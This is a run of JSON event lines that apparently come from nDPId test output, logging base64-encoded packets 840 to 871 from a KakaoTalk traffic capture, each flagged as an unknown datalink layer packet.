+00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":840,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00567{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":841,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":552924,"pkt_caplen":194,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":194,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALIAAEAAHBH9yAHJAa4KGFK8WgYoHACe\/\/6AbE9lizw8GguGVRn2C0b4dzYVGIEKdx8iqu9rDcCDQzjxS4KrgTECGizIdr62l5mmmRwo0BKJK16MUlRhUbeYv9uD41BFGTchqg\/YeYls\/xwhIJjBBoEOwxgtbwbTPE4t1S5CyPrpT0uFjTYseiRUM7cxVWHuxAuGyQueYfOysF8J0lmN8TYby+wICRk3eY18U0CQRWc="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":841,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00567{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":842,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":559485,"pkt_caplen":195,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALMAAEAAHBH9xwHJAa4KGFK8WgYoHACfiU+AbE9nizxDmguGVRk57rvmAFzBDvzweoCj5AQ1O9O3iOjP9jpxtmtiC4UFpC9+4Ua4ilTFjchNKVsY1Fm+0bn9GFYb811Ryj3LIf\/3o5kjscJv6ZftZywubQj\/ciXhUDLM3+HaLrkQ\/Pbj1Yxdh7oxGjjVxg5OcquqRbbqqSLuheT5+J+YMY8+mYzT24H3nBi\/3t7O6edv"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":842,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00565{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":843,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":563513,"pkt_caplen":192,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":192,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALAAAEAAHBH9ygHJAa4KGFK8WgYoHACcrPqAbE9oizxHWguGVRnd6GvdqxkLbiibkaeYjV8ZqAdZCVhxcAlpNWT4\/mbpGxO35WuM7zasoYS0vrvaG8chbCB2dTzZmOp8yo3uiN2BYwiIPcHjxYt+6ifZzfKfU5VKwmUt\/\/LBKjKznQDrPWROxbXrOh039HWmKV\/\/OBEZlAQ2FNOirlti\/FnFbhQKOD4ymn2pLfnw"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":843,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00579{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":844,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":563666,"pkt_caplen":206,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAL4AAEAAHRH8vAHJAa4KGFK8WgQsOACqUyGAbDHtfqulQ1SapdqmFMNmANvl2hy+B6nQqtDqmBAqw4TdiU4QBe7wgfGrx9paRWb6jTeDjYiVp9i+0NKjoYej8K4rD4gkt31WbR+4m3SvVI4GYj5xxIaiQrny2CmiITFGf2WQWHf0DFVceJhK+1Xlk3XoDXuei4WhmEIiFAraIWyYWWoCE0Qw0L+vt8THdxoTlhFJjJCp6krKi4MMw5W+uFs="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":844,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00591{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":845,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":567450,"pkt_caplen":212,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":212,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMQAAEAAHRH8tgHJAa4KGFK8WgQsOACwNdKAbDHufqupA1SapdoDJJzlcfZlitn5HF04O\/jiUSmJdQNhxoli7iJGe5PZhd0y6IDCes5x6LTt\/SXewslrcyfaXsHzDHAgocPPKYUcF7vwJnB\/VMIDpXT1fx8I8te5B0Xs9w6h\/J6Uk5+Z3knKB0ZfBgN44i0yiaguXoNImq0SMSNvjoy9H+PBSqF7zvvKf1otCjHTjY79IUplBWdwhXewCYyRvxCs0Hg="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":845,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00576{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":846,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":579505,"pkt_caplen":200,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":200,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALgAAEAAHRH8wgHJAa4KGFK8WgQsOACk4oeAbDHvfqusw1SapdrlLTiObxSBxllxtTeInc2dXss85J2UoGBZ+Oyp12tIMnmm\/G+DG3svLZyoVISvHiw9+GgddjcSbrZDnJA5lb+aSZI+B0lF5ISUZmPi9Pqf8\/HP4FItbqLi8A\/hrMxbz2QueqWC697Bfsyu\/0ncYgkFrhtERsCozTvLmCuJWucxjCfrkY+prnG\/lr2QZaXvFuo="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":846,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00488{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":847,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":580725,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHgAAEAAQBHaKgoYUrwByQGuKBxaBgBkslmAbDH5fqvSQ1SapdqNXUvqD0syBEsZVNSs2pYUnrOTaC1KYOnE0CGSJ1lvH3AE3cNA6d3Z2DGCbucUpG4RCsl2t\/iOK633kRjgzqZSQQoV1wzFP79JxGceR1Bc1w=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":847,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00493{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":848,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":587439,"pkt_caplen":141,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":141,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH0AAEAAHBH9\/QHJAa4KGFK8WgYoHABpGg+AbE9pizxLGguGVRnwokQS7aQ3+K4eZKXTw1ZwTtamcXb+wOCuJhR0z6\/hIhonU7SdMErEjS+FhQjosxb5ewTwiRvJdEg5jfjyu0IrVi9FOMhldMiT+rAN+XRe1FgRVmIg"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":848,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00464{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":849,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":607581,"pkt_caplen":120,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":120,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGgAAEAAPxHbOgoYUrwByQGuLDhaBABUKHuAbE9zizxwmguGVRnexJO9lW1PaQztcQl+nb01rm95a4SCA9bxriD2B9OVWjwm4fS2C7wVflcnUvsERr2c1SOcou\/H1e5lzviSWmAr"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":849,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00464{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":850,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":608863,"pkt_caplen":116,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":116,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGQAAEAAPxHbPgoYUrwByQGuLDhaBABQ37iAbE90izx0WguGVRnoari1I8L3\/rd6gh\/TXO\/CT+vHa1k\/jdRgrjiw\/SN0DQ3nj9f0tnnvkY00mEgu+niE9a2uDuFcFoezC98="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":850,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00513{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":851,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":611609,"pkt_caplen":156,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":156,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIwAAEAAHBH97gHJAa4KGFK8WgYoHAB42cuAbE9qizxO2guGVRkH+vRoTgNcd45g+ikIVPChyrLQVLTlly16OWhIPjfnuuMgYLzZtaNArg0jlO5jnhwoSG0c3\/9bWGGsqHzI5zAJl\/foyjW5FphVoxYOa+laJg7KLmrbJqfxxO0F1v1O64GwmAov"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":851,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00562{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":852,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":611792,"pkt_caplen":190,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":190,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAK4AAEAAHRH8zAHJAa4KGFK8WgQsOACa1IuAbDHwfquwg1SapdraQNfIiekFFk6+Sk00hmpOfFr9WBgprS1ReVyMd\/y2eYsUzg2lgen5dFtV7CGdFf8ua0fskiH15Z24yAOTGteLvbrtMKubup9I5+Z3yUAR\/3u4eEiJuyiBFWkC3lf+XwzfAcpiI6xrOuctkHpLKSq3KgIJCtOd6wGgxaFeViv\/7Jhxj6Swyg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":852,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00565{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":853,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":619513,"pkt_caplen":195,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":195,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALMAAEAAHRH8xwHJAa4KGFK8WgQsOACfnDCAbDHxfqu0Q1SapdrVC+zb5zGyRE1Qbmcm1tEGavt1jMVI8fRHqfsgrHr7C7x1B8lF9MqeG41ORdc\/ZZ0pW2hSz3VNiboGnSmfXB65wjHmOTi3KnkJ49p3VkK0x2TREZwFqqhgkAuMRwOs\/Kk1vVAL+IgLwMcJpE4VzQq4kkZC64y3dpJFad3+AgLvugtTvkJd0elNe1EA"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":853,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00570{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":854,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":621070,"pkt_caplen":198,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":198,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALYAAEAAHBH9xAHJAa4KGFK8WgYoHACimmyAbE9rizxSmguGVRku0Ov9\/nQYp+xf9Zj0Zg2\/1NLzWI8MRdVNo2XPtZSMCf0v9ILFp52GAV2EARaSwXg37U5jyDEEltmHMOnVBf3bWpDTl0o4LQx3lzNYHz0TYgOC1Qm+JH9pocAKF3m7a3n4JvO\/ufxSzJMDjFeBtyoZLQdXmYXV6Bo1i4GYv25XYbTD4MqfUmxOTOb5s1JY"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":854,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00493{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":855,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":626746,"pkt_caplen":140,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":140,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHwAAEAAQBHaJgoYUrwByQGuKBxaBgBoCCSAbDH6fqvWA1SapdqeKlS+peaRy\/LbCYrdhcIEROz7F3wyr3UT6t6reEXY7igrcaJlNeXNh+U7f0G23JX5C1hNnZ0vOwCffePqO\/hUCwmy+elmgGDh91tCq89x6HreWZ0="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":855,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00494{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":856,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":628119,"pkt_caplen":139,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":139,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHsAAEAAHBH9\/wHJAa4KGFK8WgYoHABnW2eAbE9sizxWWguGVRmMKuDYVa9RVr+XwKEZCOj5aUxooU9eg6dEsF4QaKj3wdhWOrpAC\/mhCoMcQU+rbv3BO+5oXqxFPXyRHIYDWaxqbH4D5u\/ORAK0O8+GPnZcrVMojA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":856,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00491{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":857,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":651709,"pkt_caplen":137,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":137,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHkAAEAAHBH+AQHJAa4KGFK8WgYoHABl7yGAbE9tizxaGguGVRlzglReFfuv4RYHp\/wy9Jdy8Rd3spKZ7\/JmE1uj4reFIhnrPv+Die\/basxFGW86lQ1XhR\/Q9ZL8pFV6BDZ32Jn13WQP6RjPk4z3ks8Js5BYVCs="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":857,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00544{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":858,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":651923,"pkt_caplen":180,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":180,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKQAAEAAHRH81gHJAa4KGFK8WgQsOACQgs+AbDHyfqu4A1Sapdr6I6GyURuV2EUBMGbLuuxpwlrkYaYSD4bpuAoydKX5ZwBqesoPm46V69y09WuZbKgdUBUZpENF9d8mFUVWdfUAtLTDjzauPsS\/c5OMQmtzeWKps3Vka2vXQVAvAISl4ebEu8+3e4n+FV4Ixmk3Awewcb+1QpFOyhLDZ+lz"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":858,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00527{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":859,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":652655,"pkt_caplen":166,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":166,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJYAAEAAHRH85AHJAa4KGFK8WgQsOACCFz6AbDHzfqu7w1SapdpQN+jthT9a4ukBkCSvQWV34X1fOvzEDTpAag3TiagPGg3Kjg+ZJqmy0RD9E5spSaOgorTNfm7nEqH69HyaQ1DKZKEtFv5nG+zEl92Z55HOrqSetn1yVUVsAH8KeNXKg1Swb68Y49CHlIANOqhx0Q=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":859,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00527{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":860,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":653205,"pkt_caplen":163,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":163,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJMAAEAAHRH85wHJAa4KGFK8WgQsOAB\/6NyAbDH0fqu\/g1Sapdo8saphohBolpOCDfOkNVTvi1t4BqJ1Zy3ZTQtO9WqK2MZmlGmaR8jClEnVBHq1uLSA\/NHwCD7\/0M+nEklNoj2Ej9g+LDXFnH5JkwIkvR+m6ZG8kh9GxzSR1iMUTmUN1qYKj93J4tFg3Iw7Vg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":860,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00484{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":861,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":659461,"pkt_caplen":133,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":133,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHUAAEAAHBH+BQHJAa4KGFK8WgYoHABh3sOAbE9uizxd2guGVRnXFHrSmtXcZirKqAKOjwdU+xQ7CCLU5lTow0m6ixNI7pf+i\/O6oqohPBquQPqmBdBqnv4ziCrHpqbWCsfxNTSRRKuUJM5mqWM4ShlaBw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":861,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00468{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":862,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":671881,"pkt_caplen":120,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":120,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGgAAEAAHBH+EgHJAa4KGFK8WgYoHABU+wGAbE9vizxhmguGVRmXP99PNzrdSfbmiTmaX+5Xv\/3YaEFE6fC1O\/f\/x23d\/mR733eLkMtNQBlDU\/u5urOL4cLSEoRCoFEKyY1kv2J5"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":862,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00551{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":863,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":689521,"pkt_caplen":182,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":182,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKYAAEAAHRH81AHJAa4KGFK8WgQsOACSKs+AbDH1fqvDQ1SapdoCy5dMueenBdEXjLgrvR0c7XTeHb1RvbZFe0td6HQLgmW+i\/PF8tv4YX1\/1R\/EvqnTuHUZBfhTYP5T0yL14CMszw3mv3BA8FKvhXBzbBHC8ViXa0AArbX0tS32OjdNJCrUGBmEi2TrxwdTY2RaN\/s3sqJp4MabLWB6ceneMRE="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":863,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00465{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":864,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":690345,"pkt_caplen":120,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":120,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGgAAEAAHBH+EgHJAa4KGFK8WgYoHABU1r2AbE9wizxlWguGVRnT4vALuqNyzOVOJ\/XTb7bB\/4akdiT4veKfo7Ta4SiT04x0nZHV+egvw2f+0eAnUo7RAUSlhUlFrP5npCMQ6dqu"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":864,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":865,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":690497,"pkt_caplen":141,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":141,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAH0AAEAAHRH8\/QHJAa4KGFK8WgQsOABphBOAbDH2fqvHA1Sapdr4tjAIlq\/Z98LAFlHL7adTjkqJ6DXadx\/Ne\/4GmeexatjSJP0IY\/Co3v\/gAcAb5bOemwYhDk89lwR9LeBfTH+wNsk71knMF2GK8JeTnViXLH61AwjW"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":865,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":866,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":699439,"pkt_caplen":121,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":121,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGkAAEAAHBH+EQHJAa4KGFK8WgYoHABVajCAbE9xizxpGguGVRm+hGcvXgYF0LRqfz68cnwNzygg1uKpaoatDZET0xz0Nl+x39HfCvl9mFPJGyC6ujzY\/\/9O4kP6sNOaC6zUktjpvw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":866,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00508{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":867,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":710608,"pkt_caplen":151,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":151,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAIcAAEAAPxHbGwoYUrwByQGuLDhaBABzkaWAbE91izx4GguGVRkJVCtuYwJDwcr87bfK6xaZA0+AMZZdDZ+jj5YfBrpDMqHEhI26WZKqCvFEKQkrCe+yCDabraER04tQbtkKcBRF2e0owK164+7J9tPTFnx4YGNeLKLz6gkI9Ru\/K22uLA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":867,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00600{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":868,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":710761,"pkt_caplen":218,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":218,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMoAAEAAPxHa2AoYUrwByQGuLDhaBAC2IoyAbE92izx72guGVRms2R9xNKat4dmy42wtt2yGJicA8q7FHWYDYmPcJInZydS0reHKAKql5Sm18KJiCOOX3GZrVlcUkE60q8yjkeUx\/vDjDZKZjEE0mr1Efo86+fJ2lrivRA3GeorphpDButQ\/cbg\/CsUj1DxLWuc9IseQPHAFLAmrOreHvPqKHBvieMd4WVvaZTd1Mj7+kIEX9I\/n\/ZsqiYv7yk28vo6zoC6x+U4="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":868,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00502{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":869,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":711249,"pkt_caplen":146,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":146,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIIAAEAAHRH8+AHJAa4KGFK8WgQsOABua02AbDH3fqvKw1SapdpFGvgG6vE38EYQUk8CbHdbpwm98fsgn29Q1Lf\/puVUu6EDvLtzO6CoMfIri+Zg5XIzIFD4GU1pZz7TP+Oo5UjBe4n9yLTjLbFK\/hSE4baC3OoypvzPHMG\/7KE="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":869,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00469{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":870,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":719489,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGsAAEAAHBH+DwHJAa4KGFK8WgYoHABXP3KAbE9yizxs2guGVRmxcC+\/Ftdr0R7+X8AWjNmrHsO\/RBR6qygYdHLRE1Qg4O9S1vzyZ1clst8HReo72JSt8JuFgutdAHG9jfHfiZxNIB0z"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":870,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00487{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":871,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069182,"pkt_ts_usec":727362,"pkt_caplen":137,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":137,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHkAAEAAQBHaKQoYUrwByQGuKBxaBgBlDl6AbDH7fqvZw1SapdrFtZFM1NkzN8Fn5LZg8PaQF4U4fAAzXzm1rRMODSNbHBqK8hmEmqXd2R03ZPzhSxxndip2om+tPJulxyjitlFDQJ0b5r7XuWQOZ9zTzho33P4="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":871,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 